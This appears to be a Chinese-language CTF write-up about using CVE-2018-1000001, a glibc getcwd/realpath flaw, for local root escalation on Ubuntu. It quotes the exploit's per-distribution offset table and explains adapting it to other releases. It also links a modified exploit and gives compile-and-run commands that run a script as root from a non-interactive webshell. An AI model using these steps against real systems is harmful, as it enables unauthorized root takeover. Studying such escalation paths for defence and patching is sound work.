CVE-2018-1000001本地linux提權

最近打比賽遇上的提權漏洞，環境為ubuntu 17.10 (Artful Aardvark)，
另外也需要在無交互式的webshell中提權(不通外網)。

漏洞細節: https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/

這個洞主要是出在getcwd函數上，在路徑判斷出現一些問題，作者最后使用具有SUID的mount、unmount的程序進行提權操作，所以這個主要對libc方面有一些要求.

可以看到exp里面，硬編碼了一些數據在里面，如果系統符合才會進行執行，這就導致有些系統是不會成功的:
https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/RationalLove.c

static char* osSpecificExploitDataList[]={
// Debian Stretch
    "\"9 (stretch)\"",
    "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
    "from_archive",
// Delta for Debian Stretch "2.24-11+deb9u1"
    "\x06\0\0\0\x24\0\0\0\x3e\0\0\0\x7f\xb9\x08\x00\x4f\x86\x09\x00",
// Ubuntu Xenial libc=2.23-0ubuntu9
    "\"16.04.3 LTS (Xenial Xerus)\"",
    "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
    "_nl_load_locale_from_archive",
    "\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
// Linux Mint 18.3 Sylvia - same parameters as "Ubuntu Xenial"
    "\"18.3 (Sylvia)\"",
    "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
    "_nl_load_locale_from_archive",
    "\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
    NULL
};

osReleaseExploitData=osSpecificExploitDataList;
if(osRelease) {
// If an OS was detected, try to find it in list. Otherwise use
// default.
for(int tPos=0; osSpecificExploitDataList[tPos]; tPos+=4) {
 if(!strcmp(osSpecificExploitDataList[tPos], osRelease)) {
   osReleaseExploitData=osSpecificExploitDataList+tPos;
   break;
 }
}
}

可以獲取VERSION，然后將上處修改一下。

賽后使用阿里雲的ubuntu 16.04.3做復現，可以提權成功。

至於無交互的地方，修改此處即可

修改版為: https://raw.githubusercontent.com/l3m0n/pentest_tools/master/權限攻防/linux/內核提權/CVE-2018-1000001/love1.c

gcc -o exp love1.c -std=c99
./exp

這個將會以root權限執行/bin/bash /tmp/aaaaa.sh